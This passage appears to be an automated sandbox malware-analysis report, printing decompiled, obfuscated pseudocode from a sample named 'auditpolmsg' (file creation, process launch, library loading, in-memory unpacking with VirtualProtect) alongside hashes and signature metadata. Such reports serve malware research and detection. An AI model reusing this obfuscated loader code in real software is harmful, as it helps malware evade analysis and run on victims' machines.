				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				void* __ebx;
				void* __ebp;
				void* _t58;
				void* _t64;
				void* _t66;
				void* _t73;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t82;
				void* _t83;
				intOrPtr* _t86;
				void* _t88;
				intOrPtr _t89;
				intOrPtr* _t90;
				void* _t92;
				void* _t96;
				intOrPtr _t101;
				char _t105;
				signed int _t122;
				void* _t125;
				void* _t127;
				void* _t128;
				signed int* _t129;
				void* _t131;

				_t122 = __edx;
				_t129 =  &_v596;
				_v584 = 0x9318;
				_t58 = 0x343bfd89;
				_v584 = _v584 ^ 0xde90c338;
				_v584 = _v584 ^ 0xde905120;
				_v596 = 0x7d19;
				_v596 = _v596 << 9;
				_v596 = _v596 >> 0xe;
				_v596 = _v596 + 0xffff07e5;
				_v596 = _v596 | 0x8aea6eef;
				_v596 = _v596 + 0xd867;
				_v596 = _v596 + 0x9c41;
				_v596 = _v596 + 0x3de0;
				_v596 = _v596 + 0x218b;
				_v596 = _v596 ^ 0x00014403;
				_v592 = 0x2591;
				_t128 = _v584;
				_t96 = 0;
				_v592 = _v592 * 0x7d;
				_v592 = _v592 + 0x8d68;
				_v592 = _v592 + 0xffff8911;
				_v592 = _v592 * 0x6a;
				_v592 = _v592 + 0xffff93d5;
				_v592 = _v592 ^ 0x07a13cd2;
				_v588 = 0x789;
				_v588 = _v588 >> 1;
				_v588 = _v588 ^ 0xaee58af2;
				_v588 = _v588 ^ 0xaee58936;
				while(1) {
					L1:
					goto L2;
					do {
						while(1) {
							L2:
							_t131 = _t58 - 0xea5411f;
							if(_t131 > 0) {
								break;
							}
							if(_t131 == 0) {
								_t73 = E003634C0(0x36d970);
								_t122 =  *0x36e158;
								_t127 = _t73;
								if(_t122 == 0) {
									_t122 = E00363E60(_t96, E00363F00(0xc6fbcd74), 0xba71dd03, _t128);
									 *0x36e158 = _t122;
								}
								_t101 =  *0x36e54c; // 0x5ce050
								_t50 = _t101 + 0x260; // 0x5ce2b0
								_t51 = _t101 + 0x18; // 0x5ce068
								 *_t122( &_v524, 0x104, _t127, _t51, _t50);
								_t78 =  *0x36e494;
								_t129 =  &(_t129[5]);
								if(_t78 == 0) {
									_t83 = E00363F00(0x9bab0b12);
									_t122 = 0x7facde30;
									_t78 = E00363E60(_t96, _t83, 0x7facde30, _t128);
									 *0x36e494 = _t78;
								}
								_t125 =  *_t78();
								_t80 =  *0x36df30;
								if(_t80 == 0) {
									_t82 = E00363F00(0x9bab0b12);
									_t122 = 0x5010a54d;
									_t80 = E00363E60(_t96, _t82, 0x5010a54d, _t128);
									 *0x36df30 = _t80;
								}
								 *_t80(_t125, 0, _t127);
								_t58 = 0x2c2d24c8;
								goto L1;
							} else {
								if(_t58 == 0x2f64d8b) {
									_t86 =  *0x36e1d4;
									if(_t86 == 0) {
										_t88 = E00363F00(0x9bab0b12);
										_t122 = 0xa229df38;
										_t86 = E00363E60(_t96, _t88, 0xa229df38, _t128);
										 *0x36e1d4 = _t86;
									}
									 *_t86( &_v572);
									_t58 = 0xc5e088d;
									continue;
								} else {
									if(_t58 == 0x6f65414) {
										_t89 = _v568;
										_t105 = _v572;
										_v560 = _t89;
										_v552 = _t89;
										_v544 = _t89;
										_v536 = _t89;
										_t90 =  *0x36dee4;
										_v564 = _t105;
										_v556 = _t105;
										_v548 = _t105;
										_v540 = _t105;
										_v532 = 0;
										if(_t90 == 0) {
											_t92 = E00363F00(0x9bab0b12);
											_t122 = 0x4bf45878;
											_t90 = E00363E60(_t96, _t92, 0x4bf45878, _t128);
											 *0x36dee4 = _t90;
										}
										 *_t90(_t128, 0,  &_v564, 0x28);
										_t58 = 0x3557bd8c;
										_t96 =  !=  ? 1 : _t96;
										continue;
									} else {
										if(_t58 != 0xc5e088d) {
											goto L24;
										} else {
											_v580 = 0xa8c00;
											_v576 = 0;
											_v596 = E0036B6E0(_v580, _v576, 0x989680, 0);
											_v592 = _t122;
											_v588 = _v588 - _v596;
											_t58 = 0xea5411f;
											asm("sbb [esp+0x2c], ecx");
											continue;
										}
									}
								}
							}
							L35:
						}
						if(_t58 == 0x2c2d24c8) {
							if( *0x36de04 == 0) {
								_t66 = E00363F00(0x9bab0b12);
								_t122 = 0xb66d748a;
								 *0x36de04 = E00363E60(_t96, _t66, 0xb66d748a, _t128);
							}
							_t64 = CreateFileW( &_v524, _v584, _v596, 0, _v592, _v588, 0); // executed
							_t128 = _t64;
							if(_t128 == 0xffffffff) {
								goto L34;
							} else {
								_t58 = 0x6f65414;
								goto L2;
							}
						} else {
							if(_t58 == 0x343bfd89) {
								_t58 = 0x2f64d8b;
								goto L2;
							} else {
								if(_t58 == 0x3557bd8c) {
									if( *0x36de3c == 0) {
										 *0x36de3c = E00363E60(_t96, E00363F00(0x9bab0b12), 0x20de7595, _t128);
									}
									CloseHandle(_t128); // executed
									L34:
									return _t96;
								} else {
									goto L24;
								}
							}
						}
						goto L35;
						L24:
					} while (_t58 != 0xcfe8e);
					return _t96;
					goto L35;
				}
			}

0x003680a0
0x003680a0
0x003680a6
0x003680ae
0x003680b3
0x003680bb
0x003680c3
0x003680ca
0x003680ce
0x003680d2
0x003680d9
0x003680e0
0x003680e7
0x003680ee
0x003680f5
0x003680fc
0x00368103
0x00368112
0x00368116
0x00368119
0x0036811d
0x00368125
0x00368133
0x00368137
0x0036813f
0x00368147
0x0036814f
0x00368153
0x0036815b
0x00368163
0x00368163
0x00368168
0x00368170
0x00368170
0x00368170
0x00368170
0x00368175
0x00000000
0x00000000
0x0036817b
0x0036828c
0x00368291
0x00368297
0x0036829b
0x003682b3
0x003682b5
0x003682b5
0x003682bb
0x003682c1
0x003682c8
0x003682d7
0x003682d9
0x003682de
0x003682e3
0x003682ea
0x003682ef
0x003682f6
0x003682fb
0x003682fb
0x00368302
0x00368304
0x0036830b
0x00368312
0x00368317
0x0036831e
0x00368323
0x00368323
0x0036832c
0x0036832e
0x00000000
0x00368181
0x00368186
0x00368252
0x00368259
0x00368260
0x00368265
0x0036826c
0x00368271
0x00368271
0x0036827b
0x0036827d
0x00000000
0x0036818c
0x00368191
0x003681e3
0x003681e7
0x003681eb
0x003681ef
0x003681f3
0x003681f7
0x003681fb
0x00368200
0x00368204
0x00368208
0x0036820c
0x00368210
0x0036821a
0x00368221
0x00368226
0x0036822d
0x00368232
0x00368232
0x00368241
0x00368245
0x0036824a
0x00000000
0x00368193
0x00368198
0x00000000
0x0036819e
0x003681a0
0x003681a8
0x003681c4
0x003681c8
0x003681d4
0x003681d8
0x003681dd
0x00000000
0x003681dd
0x00368198
0x00368191
0x00368186
0x00000000
0x0036817b
0x0036833d
0x00368377
0x0036837e
0x00368383
0x00368391
0x00368391
0x003683b4
0x003683b6
0x003683bb
0x00000000
0x003683bd
0x003683bd
0x00000000
0x003683bd
0x0036833f
0x00368344
0x00368365
0x00000000
0x00368346
0x0036834b
0x003683ce
0x003683e6
0x003683e6
0x003683ec
0x003683f1
0x003683fa
0x00000000
0x00000000
0x00000000
0x0036834b
0x00368344
0x00000000
0x0036834d
0x0036834d
0x00368364
0x00000000
0x00368364

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE,?,?), ref: 003683B4
CloseHandle.KERNELBASE(?,?,3251FEFE,?,?), ref: 003683EC

Strings

P\, xrefs: 003682BB

Memory Dump Source

Source File: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, Offset: 00360000, based on PE: true

Associated: 00000008.00000002.2262072575.0000000000360000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262091089.000000000036D000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262100168.000000000036F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_360000_auditpolmsg.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: P\
API String ID: 3498533004-2375622079
Opcode ID: 58be425af0902c35dc7d67d4173eb15eefa413023846009e824c62ad9d0221dd
Instruction ID: 6baa314f0fb074c8b95ea8bd7f7b004797941280976786ac557521fda87bcfc5
Opcode Fuzzy Hash: 58be425af0902c35dc7d67d4173eb15eefa413023846009e824c62ad9d0221dd
Instruction Fuzzy Hash: 1781E274A083008FD71ADF68C85462FB7E9EB98744F10892EF185CB398EBB5CD058B52

Uniqueness

Uniqueness Score: -1.00%

Function 00364B70, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 87
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E00364B70(void* __ebx, WCHAR* __ecx, WCHAR* __edx, void* __ebp, int _a4, intOrPtr _a12) {
				struct _STARTUPINFOW _v72;
				struct _PROCESS_INFORMATION _v88;
				intOrPtr* _t9;
				int _t12;
				intOrPtr* _t15;
				intOrPtr* _t17;
				WCHAR* _t44;
				WCHAR* _t45;

				_t46 = __ebp;
				_t26 = __ebx;
				_t9 =  *0x36ddc0;
				_t45 = __edx;
				_t44 = __ecx;
				if(_t9 == 0) {
					_t9 = E00363E60(__ebx, E00363F00(0xc6fbcd74), 0x7e0ae558, __ebp);
					 *0x36ddc0 = _t9;
				}
				 *_t9( &_v72, 0, 0x44);
				_v72.cb = 0x44;
				if( *0x36e21c == 0) {
					 *0x36e21c = E00363E60(_t26, E00363F00(0x9bab0b12), 0xbd6cc871, _t46);
				}
				_t12 = CreateProcessW(_t44, _t45, 0, 0, _a4, 0, 0, 0,  &_v72,  &_v88); // executed
				if(_t12 == 0) {
					return 0;
				} else {
					if(_a12 == 0) {
						_t15 =  *0x36de3c;
						if(_t15 == 0) {
							_t15 = E00363E60(_t26, E00363F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x36de3c = _t15;
						}
						 *_t15(_v88.hProcess);
						_t17 =  *0x36de3c;
						if(_t17 == 0) {
							_t17 = E00363E60(_t26, E00363F00(0x9bab0b12), 0x20de7595, _t46);
							 *0x36de3c = _t17;
						}
						 *_t17(_v88.hProcess);
						return 1;
					} else {
						asm("movdqu xmm0, [esp+0x8]");
						asm("movdqu [eax], xmm0");
						return 1;
					}
				}
			}

0x00364b70
0x00364b70
0x00364b70
0x00364b79
0x00364b7c
0x00364b80
0x00364b93
0x00364b98
0x00364b98
0x00364ba6
0x00364bb0
0x00364bba
0x00364bd2
0x00364bd2
0x00364bf1
0x00364bf5
0x00364c7a
0x00364bf7
0x00364bfd
0x00364c14
0x00364c1b
0x00364c2e
0x00364c33
0x00364c33
0x00364c3c
0x00364c3e
0x00364c45
0x00364c58
0x00364c5d
0x00364c5d
0x00364c66
0x00364c72
0x00364bff
0x00364bff
0x00364c05
0x00364c13
0x00364c13
0x00364bfd

APIs

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 00364BF1

Strings

D, xrefs: 00364BB0
X~, xrefs: 00364B8C

Memory Dump Source

Source File: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, Offset: 00360000, based on PE: true

Associated: 00000008.00000002.2262072575.0000000000360000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262091089.000000000036D000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262100168.000000000036F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_360000_auditpolmsg.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D$X~
API String ID: 963392458-2090554203
Opcode ID: b97603f993cf1cf82eadc6f9259a0fd3afe74787e60116d0603cd86aca4a7a63
Instruction ID: 89817ae4b755923d15b2a1efda2ccee6f7a8ca6e8ceb0aa8fabf457260306359
Opcode Fuzzy Hash: b97603f993cf1cf82eadc6f9259a0fd3afe74787e60116d0603cd86aca4a7a63
Instruction Fuzzy Hash: E7219F35B003015BEB16AB7ADC51BAB37AAABD1B44F00C42CF654CF2A4EAB1C9158751

Uniqueness

Uniqueness Score: -1.00%

Function 003630A0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E003630A0() {
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t61;
				intOrPtr* _t62;
				void* _t65;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr _t107;
				intOrPtr* _t116;
				void* _t127;
				void* _t128;
				intOrPtr _t129;
				signed int _t134;
				void* _t135;
				void* _t136;

				_t93 =  *((intOrPtr*)(_t135 + 0xc));
				_t61 = 0x11f367c2;
				_t134 =  *(_t135 + 0x10);
				_t129 =  *((intOrPtr*)(_t135 + 0x14));
				_t127 =  *(_t135 + 0x18);
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t136 = _t61 - 0x12466c01;
							if(_t136 > 0) {
								break;
							}
							if(_t136 == 0) {
								if(_t93 !=  *(_t135 + 0x18)) {
									L29:
									return 1;
								} else {
									_t61 = 0x2f21cdd2;
									continue;
								}
							} else {
								if(_t61 == 0x7a26146) {
									_t61 =  ==  ? 0x2f21cdd2 : 0x12466c01;
									continue;
								} else {
									if(_t61 == 0x8928514) {
										_t95 =  *0x36e1cc;
										if(_t95 == 0) {
											_t95 = E00363E60(_t93, E00363F00(0x55ab7d30), 0x815a9da3, _t134);
											 *0x36e1cc = _t95;
										}
										_t129 =  *_t95(_t134 + 0x2c);
										_t61 = 0x39d78901;
										while(1) {
											L1:
											goto L2;
										}
									} else {
										if(_t61 != 0x11f367c2) {
											goto L18;
										} else {
											 *(_t135 + 0x18) = 0x2e7c;
											 *(_t135 + 0x18) = 0x3e0f83e1 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 7;
											 *(_t135 + 0x18) = 0x2f149903 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) + 0xffff1475;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) * 0x15;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 2;
											 *(_t135 + 0x18) = 0x22b63cbf *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) ^ 0x8ee7705c;
											 *(_t135 + 0x10) = 0xa461;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) << 0xe;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) * 8 -  *(_t135 + 0x10) << 2;
											_t61 = 0x8928514;
											 *(_t135 + 0x10) = 0x51eb851f *  *(_t135 + 0x10) >> 0x20 >> 3;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) + 0xffffb6ab;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) ^ 0x88f30986;
											while(1) {
												L1:
												goto L2;
											}
										}
									}
								}
							}
							L30:
						}
						if(_t61 == 0x2f21cdd2) {
							_t62 =  *0x36e494;
							if(_t62 == 0) {
								_t62 = E00363E60(_t93, E00363F00(0x9bab0b12), 0x7facde30, _t134);
								 *0x36e494 = _t62;
							}
							_t128 =  *_t62();
							if( *0x36dd18 == 0) {
								 *0x36dd18 = E00363E60(_t93, E00363F00(0x9bab0b12), 0x9ff0609c, _t134);
							}
							_t65 = RtlAllocateHeap(_t128, 8, 0x24c); // executed
							_t127 = _t65;
							if(_t127 == 0) {
								goto L29;
							} else {
								_t61 = 0x35eaa088;
								goto L1;
							}
						} else {
							if(_t61 == 0x35eaa088) {
								_t116 =  *0x36e43c;
								if(_t116 == 0) {
									_t116 = E00363E60(_t93, E00363F00(0x9bab0b12), 0x2df4d385, _t134);
									 *0x36e43c = _t116;
								}
								 *_t116(_t127 + 0x3c, _t134 + 0x2c, (_t129 - _t134 - 0x2c >> 1) + 1);
								_t107 =  *((intOrPtr*)(_t135 + 0x1c));
								 *(_t127 + 0x2c) =  *(_t107 + 0x1c);
								 *((intOrPtr*)(_t107 + 0xc)) =  *((intOrPtr*)(_t107 + 0xc)) + 1;
								 *(_t107 + 0x1c) = _t127;
								goto L29;
							} else {
								if(_t61 != 0x39d78901) {
									goto L18;
								} else {
									_t93 = E00363D00(_t129);
									_t61 = 0x7a26146;
									while(1) {
										L1:
										goto L2;
									}
								}
							}
						}
						goto L30;
						L18:
					} while (_t61 != 0x100ad7b4);
					return 1;
					goto L30;
				}
			}

0x003630a2
0x003630a6
0x003630ac
0x003630b1
0x003630b6
0x003630ba
0x003630ba
0x003630c0
0x003630c0
0x003630c0
0x003630c0
0x003630c5
0x00000000
0x00000000
0x003630cb
0x003631f1
0x003632f9
0x00363300
0x003631f7
0x003631f7
0x00000000
0x003631f7
0x003630d1
0x003630d6
0x003631e5
0x00000000
0x003630dc
0x003630e1
0x003631a0
0x003631a8
0x003631c0
0x003631c2
0x003631c2
0x003631ce
0x003631d0
0x003630ba
0x003630ba
0x00000000
0x003630ba
0x003630e7
0x003630ec
0x00000000
0x003630f2
0x003630f2
0x0036310d
0x00363111
0x0036311f
0x00363123
0x00363130
0x00363139
0x00363147
0x0036314b
0x00363153
0x0036315b
0x00363175
0x0036317f
0x00363187
0x0036318b
0x00363193
0x003630ba
0x003630ba
0x00000000
0x003630ba
0x003630ba
0x003630ec
0x003630e1
0x003630d6
0x00000000
0x003630cb
0x00363206
0x00363245
0x0036324c
0x0036325f
0x00363264
0x00363264
0x0036326b
0x00363274
0x0036328c
0x0036328c
0x00363299
0x0036329b
0x0036329f
0x00000000
0x003632a1
0x003632a1
0x00000000
0x003632a1
0x00363208
0x0036320d
0x003632ab
0x003632b3
0x003632cb
0x003632cd
0x003632cd
0x003632e4
0x003632e6
0x003632ed
0x003632f0
0x003632f3
0x00000000
0x00363213
0x00363218
0x00000000
0x0036321a
0x00363221
0x00363223
0x003630ba
0x003630ba
0x00000000
0x003630ba
0x003630ba
0x00363218
0x0036320d
0x00000000
0x0036322d
0x0036322d
0x00363242
0x00000000
0x00363242

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,0000024C), ref: 00363299

Strings

|., xrefs: 003630F2

Memory Dump Source

Source File: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, Offset: 00360000, based on PE: true

Associated: 00000008.00000002.2262072575.0000000000360000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262091089.000000000036D000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262100168.000000000036F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_360000_auditpolmsg.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: |.
API String ID: 1279760036-512043466
Opcode ID: f6b014f82c9e455828b9646c1f3ff6ece1f34813de59abeaa97a4c4c336fe78a
Instruction ID: 6f7607f91e33b1d4e7868c1d9a3b7fbdc5a55325e3ee53b96398c2d8d8817795
Opcode Fuzzy Hash: f6b014f82c9e455828b9646c1f3ff6ece1f34813de59abeaa97a4c4c336fe78a
Instruction Fuzzy Hash: 7751C071B083018BC71ADF6CC49552ABBEAEBD5344F20881EF452CB359DB71DA498792

Uniqueness

Uniqueness Score: -1.00%

Function 00367080, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00367080(void* __ebx, void* __ecx, signed int __edx, void* __eflags) {
				struct HINSTANCE__* _t6;
				intOrPtr* _t7;
				intOrPtr* _t9;
				intOrPtr _t17;
				signed int _t28;
				void* _t29;
				WCHAR* _t30;
				void* _t31;

				_t15 = __ebx;
				_t28 = __edx;
				_t30 = E003634C0(__ecx);
				if( *0x36dd1c == 0) {
					 *0x36dd1c = E00363E60(__ebx, E00363F00(0x9bab0b12), 0xe4b28d97, _t31);
				}
				_t6 = LoadLibraryW(_t30);
				_t17 =  *0x36e548; // 0x607e28
				 *(_t17 + 0x30 + _t28 * 4) = _t6;
				_t7 =  *0x36e494;
				if(_t7 == 0) {
					_t7 = E00363E60(_t15, E00363F00(0x9bab0b12), 0x7facde30, _t31);
					 *0x36e494 = _t7;
				}
				_t29 =  *_t7();
				_t9 =  *0x36df30;
				if(_t9 == 0) {
					_t9 = E00363E60(_t15, E00363F00(0x9bab0b12), 0x5010a54d, _t31);
					 *0x36df30 = _t9;
				}
				return  *_t9(_t29, 0, _t30);
			}

0x00367080
0x00367082
0x00367089
0x00367092
0x003670aa
0x003670aa
0x003670b0
0x003670b2
0x003670b8
0x003670bc
0x003670c3
0x003670d6
0x003670db
0x003670db
0x003670e2
0x003670e4
0x003670eb
0x003670fe
0x00367103
0x00367103
0x00367110

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,0036721D,003668AC), ref: 003670B0

Strings

(~`, xrefs: 003670B2

Memory Dump Source

Source File: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, Offset: 00360000, based on PE: true

Associated: 00000008.00000002.2262072575.0000000000360000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262091089.000000000036D000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262100168.000000000036F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_360000_auditpolmsg.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: (~`
API String ID: 1029625771-890370922
Opcode ID: fc67698f5a62a2247a58850ca6098499ee4fa5ea3b0d75f8d88bb2edd5ccb19d
Instruction ID: ca658c432d4662320324f6f374820b64f0247f986fac7b807640fac04fdc3ac7
Opcode Fuzzy Hash: fc67698f5a62a2247a58850ca6098499ee4fa5ea3b0d75f8d88bb2edd5ccb19d
Instruction Fuzzy Hash: 6D016231B142104B9B17AF7A9C5162B2AAF9FD1788B11C029E415CF35EEFB1CD0297A1

Uniqueness

Uniqueness Score: -1.00%

Function 002D0580, Relevance: 3.1, APIs: 2, Instructions: 127
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 002D0F08
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 002D0F3E
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 002D0F7F

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 002D061B
VirtualProtect.KERNEL32(00000000,-00000018,?,00000000,00000000,00000000,-00000018,00000028,?,?,?,00000000,00000000,?,00000000), ref: 002D069C

Memory Dump Source

Source File: 00000008.00000002.2262052090.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2d0000_auditpolmsg.jbxd

Similarity

API ID: MemoryMove$ProtectVirtual
String ID:
API String ID: 4043890290-0
Opcode ID: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction ID: 8aaf8d2fa3937d9e23b0f5cae5288957c577d909dd6339c28dede6955c996dd3
Opcode Fuzzy Hash: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction Fuzzy Hash: 093156B367420657E3249A69DCC5BEBA3C8DBD1355F48483BF905C23A0D52EDC78C2A5

Uniqueness

Uniqueness Score: -1.00%

Function 00365CE0, Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t5;
				void* _t9;

				E003665E0();
				if( *0x36ddb8 == 0) {
					 *0x36ddb8 = E00363E60(_t5, E00363F00(0x9bab0b12), 0x89f3d704, _t9);
				}
				ExitProcess(0);
			}

0x00365ce0
0x00365cec
0x00365d04
0x00365d04
0x00365d0b

APIs

ExitProcess.KERNELBASE(00000000), ref: 00365D0B

Memory Dump Source

Source File: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, Offset: 00360000, based on PE: true

Associated: 00000008.00000002.2262072575.0000000000360000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262091089.000000000036D000.00000004.00000001.sdmp Download File
Associated: 00000008.00000002.2262100168.000000000036F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_360000_auditpolmsg.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a729e3b761fe0461bd27aa5c9f61b1836ea06b2a5485e7b4523f249a0cd5b858
Instruction ID: f814bbcd4b1b350ba95c5acf9f1f6b4e6c5a2ab5edd9738cba6182e9bef2e64f
Opcode Fuzzy Hash: a729e3b761fe0461bd27aa5c9f61b1836ea06b2a5485e7b4523f249a0cd5b858
Instruction Fuzzy Hash: 3DD0C961B4420546DA46BBB5585676A25AA4FA0748F10C029E011CF29EEEA08910A3A0

Uniqueness

Uniqueness Score: -1.00%

Function 002D0AD0, Relevance: 2.7, APIs: 2, Instructions: 175
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 002D0F08
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 002D0F3E
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 002D0F7F

VirtualAlloc.KERNEL32(?,?,00000000), ref: 002D0BFF

Memory Dump Source

Source File: 00000008.00000002.2262052090.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2d0000_auditpolmsg.jbxd

Similarity

API ID: MemoryMove$AllocVirtual
String ID:
API String ID: 1654584625-0
Opcode ID: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction ID: 3a871adc4765540a30521ef04c1f8330e79eb17a11b67b9af8aace36232de365
Opcode Fuzzy Hash: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction Fuzzy Hash: 81511770650218ABDB209F54CE85FEAB7B8EF54701F004096FA08B72A0D7B89D85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 002D0170, Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 002D0F08
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 002D0F3E
Part of subcall function 002D0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 002D0F7F

VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,?,?,?,?), ref: 002D02F6

Memory Dump Source

Source File: 00000008.00000002.2262052090.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2d0000_auditpolmsg.jbxd

Similarity

API ID: MemoryMove$FreeVirtual
String ID:
API String ID: 223123264-0
Opcode ID: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction ID: 136393f4b6b9e60466a3a0c8f61a1ab6dcf14c9a510c847266d2a9f3fbeadf84
Opcode Fuzzy Hash: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction Fuzzy Hash: 9D513AB1911268ABDB20DF64DD88BDEB778EF88700F0045DAE509B7260DB745E85CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 002D0010, Relevance: 12.6, Strings: 10, Instructions: 98COMMON

Download Yara Rule

Strings

Ten, xrefs: 002D00CD
Nine, xrefs: 002D00C0
Three, xrefs: 002D0072
One, xrefs: 002D005B
Six, xrefs: 002D0099
Two, xrefs: 002D0065
Four, xrefs: 002D007F
Seven, xrefs: 002D00A6
Five, xrefs: 002D008C
Eight, xrefs: 002D00B3

Memory Dump Source

Source File: 00000008.00000002.2262052090.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2d0000_auditpolmsg.jbxd

Similarity

API ID:
String ID: Eight$Five$Four$Nine$One$Seven$Six$Ten$Three$Two
API String ID: 0-211638553
Opcode ID: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction ID: 87935a3622729bac05418ffb5e134a489f7b542a2dfe9b629a89898ecbe62a48
Opcode Fuzzy Hash: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction Fuzzy Hash: 27311938E511289BCB04DB98CD80AED7BB5EF4C340B50802BD506737A4DB789D86CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 002D06F0, Relevance: 9.2, APIs: 6, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2262052090.00000000002D0000.00000040.00000001.sdmp, Offset: 002D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2d0000_auditpolmsg.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction ID: 3141528e171d2d5a7f9c54192b29c9775318c35bd293e4b53f5a5dc25bce7cdf
Opcode Fuzzy Hash: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction Fuzzy Hash: 405192B2A283025BD720DE26C881B5BB3D8ABD4794F04452FF948E7351E235DC249BA2

Uniqueness

Uniqueness Score: -1.00%

Function 002D08F0, Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

